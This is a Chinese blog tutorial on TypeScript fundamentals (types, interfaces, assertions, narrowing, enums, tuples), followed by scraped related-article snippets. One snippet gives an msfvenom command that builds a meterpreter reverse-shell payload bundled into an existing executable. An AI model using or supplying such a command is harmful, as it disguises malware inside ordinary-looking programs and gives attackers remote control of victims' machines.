总结TypeScript相关知识

目录

  • 引入
  • 认识
  • 特点
  • 安装使用
  • 变量
    • 声明
    • 类型推导
  • JS 和 TS 共有类型
    • number类型
    • boolean类型
    • string类型
    • Array类型
    • null和undefined类型
    • object类型
    • symbol类型
    • 对象类型
    • 函数类型
  • 可选和只读
  • type 和 interface
  • 索引签名
  • 类型断言
  • 非空类型断言
  • 类型缩小
  • 严格赋值检测现象
  • TS 新增类型
    • 字面量类型
    • any类型
    • unknown类型
    • void类型
    • never类型
    • tuple类型
    • 联合类型
    • 交叉类型
    • 枚举类型
    • 泛型
    • 映射类型
    • 条件类型
  • 类型体操
  • 模块-声明-配置

引入

随着近几年前端领域的快速发展,让JavaScript迅速被普及和受广大开发者的喜爱,借助于JavaScript本身的强大,也让使用JavaScript开发的人员越来越多,JavaScript正在慢慢变好,但是直到今天,JavaScript在类型检测上依然是毫无进展

类型问题:

  • 去实现一个核心类库时,如果没有类型约束,那么需要对别人传入的参数进行各种验证来保证代码的容错率

  • 去调用别人的函数,对方没有对函数进行任何的注释,只能去看里面的逻辑来理解这个函数需要传入什么参数, 返回值是什么类型

  • 如果可以给JavaScript加上很多限制,在开发中就可以很好的避免这样的问题了

为了弥补JavaScript类型约束上的缺陷,很多公司推出了自己的方案:

  • 2014年,Facebook推出了flow来对JavaScript进行类型检查
  • 同年,Microsoft微软也推出了TypeScript1.0版本

TypeScript使用率:

  • Vue2.x的时候采用的就是flow来做类型检查

  • Vue3.x已经全线转向TypeScript,98.3%使用TypeScript进行了重构

  • Angular在很早期就使用TypeScript进行了项目重构并且需要使用TypeScript来进行开发

  • 最流行的编辑器VSCode也是使用TypeScript来完成的

  • React中已经使用的ant-designUI库,也大量使用TypeScript来编写

学习TypeScript不仅仅可以为我们的代码增加类型约束,而且可以培养前端程序员具备类型思维

认识

TypeScriptGitHub和官方上对自己的定义:

  • GitHub说法TypeScript is a superset of JavaScript that compiles to clean JavaScript output

  • TypeScript官网TypeScript is a typed superset of JavaScript that compiles to plain JavaScript

  • 翻译:TypeScript是拥有类型的JavaScript超集,它可以编译成普通、干净、完整的JavaScript代码
    在这里插入图片描述

特点

  • 始于JavaScript,归于JavaScript

    • 使用现有的JavaScript代码,包括流行的JavaScript库,并从JavaScript代码中调用TypeScript代码

    • TypeScript可以编译出纯净、 简洁的JavaScript代码,并且可以运行在任何浏览器上、Node.js环境中和任何支持ECMAScript3(或更高版本)的JavaScript引擎中

  • TypeScript是一个强大的工具,用于构建大型项目

    • 在语言层面上,不仅仅增加了类型约束,而且包括一些语法的扩展,比如枚举类型(Enum)、元组类型(Tuple)等

    • 类型允许JavaScript开发者在开发JavaScript应用程序时使用高效的开发工具和常用操作比如静态检查和代码重构

    • 类型是可选的,类型推断让一些类型的注释使你的代码的静态验证有很大的不同。类型让你定义软件组件之间的接口和洞察现有JavaScript库的行为

  • 拥有先进的 JavaScript

    • JavaScript所拥有的特性,TypeScript全部都是支持的,并且它紧随ECMAScript的标准

    • TypeScript在实现新特性的同时,总是保持和ES标准的同步甚至是领先

    • 并且TypeScript最终会被编译成JavaScript代码,所以并不需要担心它的兼容性问题,在编译时也可以不借助于Babel这样的工具

安装使用

  • TypeScript的环境安装依赖Node,先保证电脑上有NodeNPM环境

  • npm install typescript -g:安装

  • tsc --version:查看版本

  • 项目通常使用webpack配置本地的TypeScript编译环境和开启一个本地服务,可以直接运行在浏览器上,这个在webpack中学习

  • 我们练习中就简单使用,先写ts文件(最后要写export {} 是用来声明一个模块的,告诉 TypeScript 当前文件是一个模块,不是一个全局脚本文件,避免命名冲突)

  • 然后执行 tsc 文件名 编译成js代码(编译后的代码要把exports代码注释),在html引入js文件在浏览器查看结果

变量

声明

TypeScript中定义变量需要指定标识符的类型

  • 声明了类型后TypeScript就会进行类型检测,声明的类型可以称之为类型注解Type Annotation

  • var/let/const 标识符: 数据类型 = 赋值
    在这里插入图片描述

类型推导

有时候为了方便并不会在声明每一个变量时都写上对应的数据类型,TypeScript会在一个变量第一次赋值时,根据后面的赋值内容的类型来推断出变量的类型
在这里插入图片描述

  • 如果是 const 变量,赋值是一个常量字面量,它会推导为字面量类型。如果是 let,则推导为更宽泛的类型,如 numberstring,赋值为不同类型还是会报错
    let message = 'hello ts' // string类型
    message = 123 // 会报错 不能将类型“number”分配给类型“string”
    
    let flag = true // boolean类型
    
    const age = 18 // 字面量
    

JS 和 TS 共有类型

number类型

  • 数字类型是我们开发中经常使用的类型,TypeScriptJavaScript一样,不区分整数类型(int)和浮点型(double),统一为number类型

  • ES6新增了二进制和八进制的表示方法,而TypeScript也是支持二进制、八进制、十六进制的表示

let num: number = 10
num = 18
num = 18.8
num = 100 // 十进制
num = 0b110 // 二进制
num = 0o555 // 八进制
num = 0xf23 // 十六进制

boolean类型

boolean类型只有两个取值:truefalse

let flag: boolean = true
flag = false
flag = 20 > 30

string类型

string类型是字符串类型,可以使用单引号或者双引号表示,也支持ES6的模板字符串来拼接变量和字符串

let message: string = 'hello'
let n: string = 'ts'
message = `hello ${n}`

Array类型

数组类型的定义有两种方式: 下面都表示数组元素必须是string

  • Array<string>
  • string[]
let arr1: string[] = ['abc','cba']
let arr2: Array<string> = ['cba','abc']
arr1.push('ddd')
arr2.push('eee')
arr1.push(123) // 报错:Argument of type 'number' is not assignable to parameter of type 'string'
arr2.push(true) // 报错: Argument of type 'boolean' is not assignable to parameter of type 'string'

null和undefined类型

JavaScript 中,undefinednull 是两个基本数据类型。 在TypeScript中,它们各自的类型也是undefinednull,也就意味着它们既是实际的值,也是自己的类型

let nu: null = null
nu = {} // Type '{}' is not assignable to type 'null'
let un: undefined = undefined
un = 0 // Type '0' is not assignable to type 'undefined'

object类型

  • object描述的是所有非原始值的类型(即不包括 stringnumberbooleansymbolnullundefined

  • 使用 object 类型时,无法直接访问属性,因为 TypeScript 并不知道对象的具体结构

let obj: object = { name: "John" };
console.log(obj.name); // 错误:属性 'name' 不存在于 'object' 类型上
obj = { key: "value" }; // 正确
obj = [1, 2, 3];        // 正确
obj = function() {};     // 正确
obj = "string";          // 错误,不能将 'string' 赋值给 'object'

symbol类型

Symbol 是一种基本数据类型,它代表独一无二且不可变的值。它最常用于对象属性的键值,保证每个 Symbol 都是唯一的,防止属性名冲突

let sym1: symbol = Symbol();
let sym2: symbol = Symbol("description");

console.log(sym1 === sym2); // false,两个 Symbol 值是唯一的

对象类型

具体学习这篇文章:待后面补充

函数类型

具体学习这篇文章:待后面补充

可选和只读

  • 可选可选属性意味着该属性可以有,也可以没有,属于非必须的属性。如果没有赋值,这个属性的值为 undefined,在属性的后面添加一个 ?表示

    let bar: {name: string, age: number} = {
      name: 'obj',
      age: 18,
    }
    
    function getInfo(data: {name: string, age: number, height?: number}) {
      console.log(data)
    }
    getInfo(bar) // 如果height不是可选的就会报错说bar缺少属性
    
  • 只读只读属性意味着该属性一旦赋值之后就无法修改。通常用于防止对象的某些属性在对象初始化后被改变,在属性的前面加 readonly 表示

    function getInfo(data: {name: string, readonly age: number, height?: number}) {
      console.log(data.age)
      data.age = 18 // 会报错
    }
    
  • 可选可以结合只读

    type Person = {
      readonly id?: number; // 可选且只读属性
      name: string;
    };
    
    const person: Person = { name: "Alice" };
    
    // 合法,因为 id 是可选的
    const personWithId: Person = { id: 1, name: "Bob" };
    
    // 错误,因为 id 是只读属性,不能修改
    // personWithId.id = 2;  // Error: Cannot assign to 'id' because it is a read-only property.
    

type 和 interface

  • type 新类型名 = 现有类型:定义类型别名,通过类型别名,可以将复杂的类型定义抽象为一个更简单的名字,并在代码中反复使用;可以用于基础类型、对象类型、联合类型、数组、函数等各种类型

    type UserType = {
      name: string;
      age?: number;
      readonly height: number
    };
    
    let user: UserType = {
      name: "Alice",
      height: 188,
    };
    
  • interface接口是一种用于定义对象、函数、类等结构的方式

    interface IUser {
      name: string;
      age?: number;
      readonly height: number
    }
    
    let user: IUser = {
      name: "Alice",
      height: 188,
    };
    
  • 两者区别:

    • 区别一type 类型使用范围更广,而 interface 主要用于定义对象的形状

    • 区别二同名接口可以合并(声明合并),如果两个地方声明了同名的接口,TypeScript 会将它们的成员自动合并到一个接口中

      interface ILocal {
        x: number
        y: number
      }
      
      interface ILocal {
        z: number
      }
      
      const local: ILocal = { // 会合并,必须包含x,y,z
        x: 100,
        y: 200,
        z: 300
      }
      
    • 区别三接口可以继承一个或多个其他接口,使得多个接口可以共享相同的属性和方法定义

      interface IAdult {
        name: string,
        age: number
      }
      
      interface IWorker {
        working: () => void
      }
      
      interface ICoder extends IAdult, IWorker {
        eatting: () => void
      }
      
      const student: ICoder = {
        name: 'coder',
        age: 16,
        working() {
          console.log('working')
        },
        eatting() {
          console.log('eatting')
        }
      }
      
    • 区别四类可以通过 implements 关键字来实现接口,保证类中定义了接口所要求的所有属性和方法,具体学习这篇文章:待后面补充

索引签名

具体学习这篇文章:待后面补充

类型断言

类型断言(Type Assertions用于明确地告诉编译器某个值的类型,而不是让编译器自动推断类型,类型断言不会做类型转换,它只是在编译时进行静态检查,帮助你绕过编译器的类型检查限制

  • 语法:
    • 尖括号语法:

      let someValue: any = "this is a string";
      let strLength: number = (<string>someValue).length;
      
    • as语法: 在使用 JSX 的时候,不能使用尖括号语法,必须使用 as 语法

      let someValue: any = "this is a string";
      let strLength: number = (someValue as string).length;
      
  • 使用时机:
    • 当 TypeScript 无法自动推断类型时: 比如使用第三方库返回的 any 类型数据,或者处理一些复杂的联合类型时,类型断言可以帮你明确告诉 TypeScript 某个值的具体类型

    • 在联合类型中确定某个具体类型: 在联合类型中,你可以使用类型断言将值断言为更具体的类型

    • DOM 元素类型断言: 在访问 DOM 元素时,TypeScript 可能无法准确推断类型。你可以使用类型断言来告诉 TypeScript 你知道元素的确切类型,提示方法更友好

      const inputElement = document.getElementById('input') as HTMLInputElement;
      inputElement.value = "Hello, World!";
      
  • 限制:
    • 类型断言并不会改变数据的实际类型,而是让 TypeScript 编译器“信任”你给出的类型。因此,错误的类型断言可能导致运行时错误

      let someValue: any = "hello";
      let num: number = someValue as number; // 这不会在编译时报错,但会导致运行时错误
      
    • 类型断言不能断言为不相关的类型,例如你不能将一个 string 类型断言为 number 类型

      let someValue: any = "hello";
      let num: number = someValue as number;  // 无效的断言,编译时不会报错,但运行时可能有问题
      

非空类型断言

允许开发者告诉编译器某个表达式不会为 nullundefined,它通过在表达式后面加上 ! 操作符实现

  • 使用:

    • 基本使用:如果某个 DOM 元素可能为 null,但我们知道在使用时它肯定已经存在,可以使用非空断言

      const element = document.getElementById("myElement");
      console.log(element!.innerHTML);  // 使用 `!` 断言告诉 TypeScript 这里 `element` 不会是 `null`
      
    • 函数中的非空断言: 假设你有一个函数返回可能是 nullundefined 的值,但你确定在某个情况下这个函数一定会返回一个有效值

      function getValue(): string | undefined {
        return "Hello";
      }
      
      const value = getValue();
      console.log(value!.toUpperCase()); // 使用 `!` 断言忽略 `undefined` 检查
      
    • 联合类型中的非空断言: 对于联合类型中的 nullundefined,你也可以使用非空断言

      function processValue(value: string | null) {
        console.log(value!.toUpperCase()); // 告诉编译器 value 绝对不会为 null
      }
      
      processValue("Hello"); // 安全
      processValue(null);    // 会在运行时抛出错误,因为实际上值为 null
      
  • 注意:

    • 非空断言不会在运行时进行检查:非空断言只是为了告诉编译器在这个地方忽略 nullundefined 的检查,但如果你使用非空断言的地方值实际为 nullundefined,仍然会在运行时抛出错误

    • 应谨慎使用:过度使用非空断言可能隐藏代码中的潜在错误。只有在你 非常确定 某个值不会为 nullundefined 时,才应该使用这个操作符

类型缩小

类型缩小通过各种类型守卫来帮助 TypeScript 更精确地推断出变量的类型,从而提高代码的安全性和开发体验。主要缩小方式包括:typeofinstanceofin、平等缩小(===、!==)等等

  • typeof

    function printID(id: number | string) {
      if (typeof id === "string") {
        console.log(id.length, id.split(" "))
      } else {
        console.log(id)
      }
    }
    
  • 平等缩小(===、!==):

    type localType = 'up' | 'down' | 'left' | 'right'
    function getLocal(local: localType) {
      if(local === 'up') {
        console.log('向上走')
      }
    }
    
  • instanceof

    function formatDate(date: string | Date) {
      // if(typeof date === 'string') {
      //   console.log(date)
      // }else {
      //   console.log(date.getTime())
      // }
    
      if(date instanceof Date) { // 判断date是不是Date的实例
        console.log(date.getTime())
      }else {
        console.log(date)
      }
    }
    
  • in操作符

    interface ISwim {
      swim: () => void
    }
    
    interface IRun {
      run: () => void
    }
    
    function move(animal: ISwim | IRun) {
      if ("swim" in animal) {
        animal.swim()
      } else if ("run" in animal) {
        animal.run()
      }
    }
    

严格赋值检测现象

对于对象的字面量赋值,在TypeScript中有一个非常有意思的现象我们看下面例子,在例子中发现换一种赋值的方式多余的属性不会报错

type TTest = {name: string, age: number, height: number}
const tt ={
  name: 'tt',
  age: 28,
  height: '188',
}
const test1: TTest = tt // 会报错没问题

interface ITest {
  name: string,
  eatting: () => void
}
const it = {
  name: 'it',
  age: 18,
  eatting: function(){}
}
// 方式一
const test2: ITest = {
  name: 'it',
  age: 18, // 多的会报错
  eatting: function(){}
}
// 方式二
const test3: ITest = it // 多了age属性不会报错

上面现象解释引入TypeScript成员在GitHubissue中的回答:
在这里插入图片描述

翻译理解一下:

  • 每个对象字面量最初都被认为是 " 新鲜的(fresh)"

  • 一个新的对象字面量分配给一个变量或传递给一个非空目标类型的参数时,对象字面量指定目标类型中不存在的属性是错误的

  • 当类型断言或对象字面量的类型扩大时,新鲜度会消失

TS 新增类型

字面量类型

允许将变量的类型限定为特定的值,字面量类型可以是字符串、数字、布尔值、nullundefinedbigintsymbol 等,通过字面量类型,你可以让变量的值更加精确

  • 使用:

    • 单独使用,使用const定义变量时,类型推测就为字面量类型

      const abc = 'abc' // 这时abc就是为‘abc’的字面量类型
      const data = { // 这时data就是为对象的字面量类型
        url: 'http://localhost:8080',
        method: 'post'
      }
      
    • 字符串字面量类型结合联合类型

      let direction: "left" | "right" | "up" | "down";
      
      direction = "left";  // 正确
      direction = "right"; // 正确
      direction = "forward"; // 错误,"forward" 不在定义的字面量类型之中
      
    • 数字字面量类型结合联合类型

      let option: 1 | 2 | 3;
      
      option = 1;  // 正确
      option = 4;  // 错误,因为 4 不在数字字面量类型的范围内
      
    • 布尔字面量类型结合联合类型

      let isOpen: true | false;
      
      isOpen = true;  // 正确
      isOpen = false; // 正确
      
  • 推理:

    /* const data = {
      url: 'http://localhost:8080',
      method: 'post'
    }
    
    type methodType = 'get' | 'post'
    function request(url: string, method: methodType) {
      console.log(method)
    }
    request(data.url, data.method) */
    /* 
      上面的 data.method 会报错:
        Argument of type 'string' is not assignable to parameter of type 'methodType'
      因为 data.method 推测出的是string类型,不能赋值给字面量类型
      所以我们要明确写明 data.method 是个字面量类型
      解决方法:
      一:类型断言明确告诉它data.method为post字面量类型
        request(data.url, data.method as ’post‘)
      二:
        const data = {
          url: 'http://localhost:8080',
          method: 'post'
        } as const
    */
    
    type methodType = 'get' | 'post'
    // 方式一
    const data1 = {
      url: 'http://localhost:8080',
      method: 'post'
    }
    function request1(url: string, method: methodType) {
      console.log(method)
    }
    request1(data1.url, data1.method as 'post') // 类型断言data.method为post字面量类型
    
    // 方式二
    /* 
      as const:
        是一个断言操作符,它用于将一个对象或数组的所有属性或元素转换为字面量类型
      相当于变成了常量对象
        const data2: {
          readonly url: 'http://localhost:8080',
          readonly method: 'post'
        } = {
          url: 'http://localhost:8080',
          method: 'post'
        }
    */
    const data2 = {
      url: 'http://localhost:8080',
      method: 'post'
    } as const
    function request2(url: string, method: methodType) {
      console.log(method)
    }
    request2(data2.url, data2.method)
    
  • 应用:

    • 参数和请求方法限制:字面量类型通常与联合类型一起使用,用于限制函数参数的值只能是特定的字面量

    • 状态管理:在状态管理中,字面量类型可以用来确保状态值总是一个指定的值

    • 配置项限制:当某个配置项需要限定特定值时,可以使用字面量类型

any类型

在某些情况下,确实无法确定一个变量的类型,并且可能它会发生一些变化,这个时候可以使用any类型

  • 可以对any类型的变量进行任何的操作,包括获取不存在的属性、方法

  • 给一个any类型的变量赋值任何的值,比如数字、字符串的值

  • 对于某些情况的处理过于繁琐不希望添加规定的类型注解,或者在引入一些第三方库时,缺失了类型注解,这个时候我们可以使用any

let a: any = '123'
a = 123
a = null
a = undefined 
a = true

let aArr: any[] = ['123', 123, true, null]

unknown类型

unknownTypeScript中比较特殊的一种类型,它用于描述类型不确定的变量

  • any类型有点类似,但是unknown类型的值上做任何事情都是不合法的
let a: any = '123'
a = 123
a = null
a = undefined 
a = true
console.log(a.length) // 不会报错


let uk: unknown = '123'
uk = 123
uk = null
uk = undefined
uk = true
console.log(uk.length) // 会报错 'uk' is of type 'unknown'

if(typeof uk == 'string') { // 只有当类型范围缩小时再操作才不会报错
  console.log(uk.length)
}

void类型

void通常用来指定一个函数是没有返回值的,那么它的返回值就是void类型

  • 当基于上下文的类型推导(Contextual Typing)推导出返回类型为 void 的时候,并不会强制函数一定不能返回内容,可以返回任何类型

  • 如果明确写了函数返回值为void类型时,函数只可以返回undefined

  • void变量可以赋值 undefined,但除了函数返回之外,void 通常不被使用

let unused: void = undefined; // 虽然可以赋值 undefined,但除了函数返回之外,void 通常不被使用
function foo1() { // void类型
  console.log(123)
}
function foo2(): void {
  console.log(123)
  return undefined // 只能返回undefined,返回其他值会报错
}

never类型

never 类型表示那些永远不会存在值的类型。这种类型通常出现在以下几种情况下:

  • 函数永远不会返回值: 当一个函数永远不会成功执行到结束,它会抛出错误或导致程序退出,这样的函数返回类型是 never。比如死循环或者抛出异常的函数

  • 不可达的代码: 当代码逻辑到达某个永远不可能发生的分支时,可以用 never 来标记这类情况

function throwError(message: string): never {
  throw new Error(message);
}

function infiniteLoop(): never {
  while (true) {
    console.log("This will run forever");
  }
}

function checkType(key: string | number | boolean){
  switch (typeof key) {
    case 'string':
      console.log(key.length)
      break;
    case 'number':
      console.log(key)
      break;
    // case 'boolean': // 不加此代码就会报错 Type 'boolean' is not assignable to type 'never'
    //   console.log(!key)
    //   break;
    default:
      const type: never = key // 那么这么写的意义何在?在扩展工具时,检测出一些没有处理的case,直接报错 Type 'boolean' is not assignable to type 'never'
  }
}

tuple类型

tuple是元组类型,很多语言中也有这种数据类型,比如Python、Swift

tuple和数组有什么区别:

  • 数组中通常建议存放相同类型的元素,不同类型的元素是不推荐放在数组中(可以放在对象或者元组中)

  • 元组中每个元素都有自己特定的类型,根据索引值获取到的值可以确定对应的类型

  • tuple通常可以作为返回的值,在使用的时候会非常的方便

  • TypeScript 中的元组继承了数组的行为。在 JavaScript 中,数组是动态的,元素可以随时增加或删除。为了兼容这一点,TypeScript 允许通过数组方法往元组中动态添加元素

  • TypeScript元组会检查方法传入的参数类型是否与元组的元素类型兼容。只要你添加的元素类型符合元组定义中的类型,就不会有类型错误

let tu: [string, number, boolean, null?] = ['123', 123, true]
let tu0 = tu[0] // tu0就是string类型
tu.push(null)
tu.push('123')
tu.push({}) // 会报错因为元组中没有定义对象

// 在函数中使用元组类型是最多的(函数的返回值)
function useState(initialState: number): [number, (newValue: number) => void] {
  let stateValue = initialState
  function setValue(newValue: number) {
    stateValue = newValue
  }

  return [stateValue, setValue]
}

const [count, setCount] = useState(10)
console.log(count)
setCount(100)

联合类型

联合类型是由两个或者多个其他类型组成的类型,使用 表示,表示可以是这些类型中的任何一个值,联合类型中的每一个类型被称之为联合成员(union's members

  • 传入给一个联合类型的值只要保证是联合类型中的某一个类型的值即可

  • 使用时需要进行类型缩小TypeScript可以根据缩小的代码结构,推断出更加具体的类型

  • 可以和字面量类型结合使用

let union: boolean | string = '123'
union = true
function handleUnion(un: boolean | string){
  console.log(un.length) // 报错
  if(typeof un === 'string') { // 类型缩小
    console.log(un.length)
  }else {
    console.log(un)
  }
}
handleUnion(union)

// 结合字面量类型
type localType = 'up' | 'down' | 'left' | 'right'
function getLocal(local: localType) {
  if(local === 'up') {
    console.log('向上走')
  }
  console.log(local.length)
}
getLocal('down')
getLocal(123) // 会报错

交叉类型

交叉类型使用 & 符号表示需要满足多个类型的条件

let sn: string & number // 这种值肯定是没有的,没有意义

// 交叉类型应用
type personType = { name: string, running: () => void }

interface IPerson {
  age: number,
  jumping: () => void
}

const info: personType & IPerson = { // 将多个对象的属性合并
  name: 'info',
  age: 38,
  running:() => {},
  jumping:() => {}
}

function getPerson (person: personType & IPerson) {
  console.log(person)
}
getPerson(info)

枚举类型

枚举其实就是将一组可能出现的值,一个个列举出来,定义在一个类型中,这个类型就是枚举类型,枚举允许开发者定义一组命名常量,常量可以是数字、字符串类型

  • 数字枚举:是最常见的枚举类型,枚举成员的值默认是从 0 开始递增的,具有反向映射的特性,可以通过枚举的值来获取枚举成员的名字

    enum Direction {
      Up,      // 0
      Down,    // 1
      Left,    // 2
      Right    // 3
    }
    
    let dir: Direction = Direction.Up;
    console.log(dir); // 输出: 0
    
    enum Direction {
      Up = 1,     // 1
      Down,       // 2
      Left,       // 3
      Right       // 4
    }
    
    console.log(Direction.Up); // 输出: 1 
    console.log(Direction[1]); // 输出: "Up" ,反向取值
    
  • 字符串枚举:每个成员必须显式地设置字符串值,并且不会进行自动递增,不具备反向映射特性

    enum Direction {
      Up = "UP",
      Down = "DOWN",
      Left = "LEFT",
      Right = "RIGHT"
    }
    
    let dir: Direction = Direction.Up;
    console.log(dir); // 输出: "UP"
    
    
  • 常量枚举:在需要性能优化的场景下,你可以使用 const enum 来声明常量枚举,会在编译时被完全移除,使用枚举成员的地方会被替换成实际的值

    const enum Direction {
      Up,
      Down,
      Left,
      Right
    }
    
    let dir: Direction = Direction.Up;
    console.log(dir); // 输出: 0
    
  • 枚举成员:分为常量成员(constant member)计算成员(computed member)

    • 常量成员是在编译时计算出值的,或者从数字常量初始化的枚举

    • 计算成员是在运行时计算其值的

    enum FileAccess {
      None,
      Read    = 1 << 1,  // 常量成员
      Write   = 1 << 2,  // 常量成员
      ReadWrite = Read | Write,  // 常量成员
      G = "123".length  // 计算成员
    }
    
  • 枚举本身可以作为一种类型来使用

    enum Direction {
      Up,
      Down,
      Left,
      Right
    }
    
    function move(direction: Direction) {
      console.log(direction);
    }
    
    move(Direction.Left); // 输出: 2
    

泛型

具体学习这篇文章:待后面补充

映射类型

具体学习这篇文章:待后面补充

条件类型

具体学习这篇文章:待后面补充

类型体操

具体学习这篇文章:待后面补充

模块-声明-配置

具体学习这篇文章:待后面补充

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/887510.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

Golang | Leetcode Golang题解之第452题用最少数量的箭引爆气球

题目&#xff1a; 题解&#xff1a; func findMinArrowShots(points [][]int) int {if len(points) 0 {return 0}sort.Slice(points, func(i, j int) bool { return points[i][1] < points[j][1] })maxRight : points[0][1]ans : 1for _, p : range points {if p[0] > …

windows下安装rabbitMQ并开通管理界面和允许远程访问

如题&#xff0c;在windows下安装一个rabbitMQ server&#xff1b;然后用浏览器访问其管理界面&#xff1b;由于rabbitMQ的默认账号guest默认只能本机访问&#xff0c;因此需要设置允许其他机器远程访问。这跟mysql的思路很像&#xff0c;默认只能本地访问&#xff0c;要远程访…

Jenkins pipeline配置示例

前提条件&#xff1a;已经安装Jenkins并能正常启动 如果Jenkins安装启动遇到问题可以参考&#xff1a; 1.创建pipeline 点击新建项目&#xff1a; 输入名称&#xff0c;选择pipeline&#xff1a; 进入配置页面&#xff0c;如果要配置GitHub Webhook要勾选&#xff1a;<fo…

机器人的性能指标

1. 负荷能力 负荷能力负荷能力是指机器人在满足其他性能要求的情况下,能够承载的负荷重量。例如,一台机器人的最大负荷能力可能远大于它的额定负荷能力,但是达到最大负荷时,机器人的工作精度可能会降低,可能无法准确地沿着预定的轨迹运动,或者产生额外的偏差。机器人的负荷量与…

交换排序:冒泡排序、递归实现快速排序

目录 冒泡排序 1.冒泡排序的核心思想 2.冒泡排序的思路步骤 3.冒泡排序代码 4.代码分析 5.对冒泡排序的时间复杂度是O(N^2)进行解析 6.冒泡排序的特性总结 递归实现快速排序(二路划分版本) 1.快速排序基本思路 2.代码思路步骤 3.代码实现 4.代码分析 (1)递归终止条…

lrzsz串口文件传输

此时如果需要传输文件&#xff0c;需要借助rz/sz工具&#xff0c;可以使用的传输协议有ZMODEM、YMODEM、XMODEM&#xff0c;默认是ZMODEM。 https://en.wikipedia.org/wiki/ZMODEM https://gallium.inria.fr/~doligez/zmodem/zmodem.txt 这里记录item2下使用rz/sz进行文件传输…

MSF捆绑文件

msf捆绑文件 msf快速打开不启动banner msfconsole -q msf捆绑文件 msfvenom -p windows/meterpreter/reverse_tcp LHOST127.0.0.1 LPORT8888 -f exe -x 1.exe -o msf.exe

Java 网络编程基础

网络通信三要素 此笔记来之与黑马.B站的视频是真的高 基本的通信架构 基本的通信架构有2种形式&#xff1a;CS架构&#xff08;Client 客户端/ Server 服务端&#xff09;、BS架构( Browser 浏览器/ Server 服务端)。 IP 地址 IP&#xff08;InternetProtocol&#xff09;&a…

Java中的break、continue和return语句

break、continue和return break语句引入基本介绍基本语法示意图注意事项练习String字符串的比较 continue跳转控制语句基本介绍基本语法示意图 return跳转控制语句 break语句 引入 随机生成1-100的一个数&#xff0c;直到生成了97这个数&#xff0c;看看你一共用了几次&#…

Electron 使⽤ electron-builder 打包应用

electron有几种打包方式&#xff0c;我使用的是electron-builder。虽然下载依赖的时候让我暴躁&#xff0c;使用起来也很繁琐&#xff0c;但是它能进行很多自定义&#xff0c;打包完成后的体积也要小一些。 安装electron-builder&#xff1a; npm install electron-builder -…

教育领域的技术突破:SpringBoot系统实现

2相关技术 2.1 MYSQL数据库 MySQL是一个真正的多用户、多线程SQL数据库服务器。 是基于SQL的客户/服务器模式的关系数据库管理系统&#xff0c;它的有点有有功能强大、使用简单、管理方便、安全可靠性高、运行速度快、多线程、跨平台性、完全网络化、稳定性等&#xff0c;非常…

传感器模块编程实践(二)W5500 SPI转以太网模块简介及驱动源码

文章目录 一.概要二.W5500芯片介绍W5500通讯协议介绍 三.W5500模块介绍四.W5500模块原理图五.W5500以太网模通讯实验六.CubeMX工程源代码下载七.小结 一.概要 我们介绍过单片机的以太网系统一般是由&#xff1a;单片机MACPHYRJ45。有些单片机比如STM32F407VET6芯片内部自带MAC…

Vue基础(2)检测数据原理~生命周期

文章目录 检测数据原理1.更新时遇到的问题2.检测数据的原理-对象3. vue.set()的使用 收集表单数据过滤器内置指令1.v-text2.v-html3.v-cloak4.v-once5.v-pre 自定义指令生命周期1.挂载流程2.更新流程3.销毁流程 检测数据原理 1.Vue会监视data中的所有层次的数据 2.如何监测对象…

学习资料库系统小程序的设计

管理员账户功能包括&#xff1a;系统首页&#xff0c;个人中心&#xff0c;管理员管理&#xff0c;观看记录管理&#xff0c;基础数据管理&#xff0c;论坛信息管理&#xff0c;公告信息管理&#xff0c;轮播图信息 微信端账号功能包括&#xff1a;系统首页&#xff0c;阅读资…

OpenAI在周四推出了一种与ChatGPT互动的新方式——一种名为“Canvas”的界面

每周跟踪AI热点新闻动向和震撼发展 想要探索生成式人工智能的前沿进展吗&#xff1f;订阅我们的简报&#xff0c;深入解析最新的技术突破、实际应用案例和未来的趋势。与全球数同行一同&#xff0c;从行业内部的深度分析和实用指南中受益。不要错过这个机会&#xff0c;成为AI领…

界星空科技漆包线行业称重系统

万界星空科技为漆包线行业提供的称重系统是其MES制造执行系统解决方案中的一个重要组成部分。以下是对该系统的详细介绍&#xff1a; 一、系统概述 万界星空科技漆包线行业称重系统&#xff0c;是集成在MES系统中的一个功能模块&#xff0c;专门用于漆包线生产过程中的重量检…

Pikachu-unsafe upfileupload-getimagesize

什么是getimagesize()&#xff1f; getimagesize()是PHP中用于获取图像的大小和格式的函数。它可以返回一个包含图像的宽度、高度、类型和MIME类型的数组。 由于返回的这个类型可以被伪造&#xff0c;如果用这个函数来获取图片类型&#xff0c;从而判断是否时图片的话&#xff…

懒洋洋浅谈--机器学习框架

机器学习&#xff0c;这个词汇听起来就像是科幻小说里那些能够自我进化的机器人一样神秘而强大。但别担心&#xff0c;让我用一种更接地气的方式来揭开它的神秘面纱。 关于机器学习&#xff0c;有一个非常有意思的介绍误闯机器学习&#xff08;第一关-概念和流程&#xff09;-C…

【FPGA开发】Modelsim如何给信号分组

前面已经发布过了一篇关于 Modelsim 的入门使用教程&#xff0c;针对的基本是只有一个源文件加一个仿真tb文件的情况&#xff0c;而实际的工程应用中&#xff0c;往往是顶层加多个底层的源文件结构&#xff0c;如果不对信号进行一定的分组&#xff0c;就会显得杂乱不堪&#xf…

GAMES101(19节,相机)

相机 synthesis合成成像&#xff1a;比如光栅化&#xff0c;光线追踪&#xff0c;相机是capture捕捉成像&#xff0c; 但是在合成渲染时&#xff0c;有时也会模拟捕捉成像方式&#xff08;包括一些技术 动态模糊 / 景深等&#xff09;&#xff0c;这时会有涉及很多专有名词&a…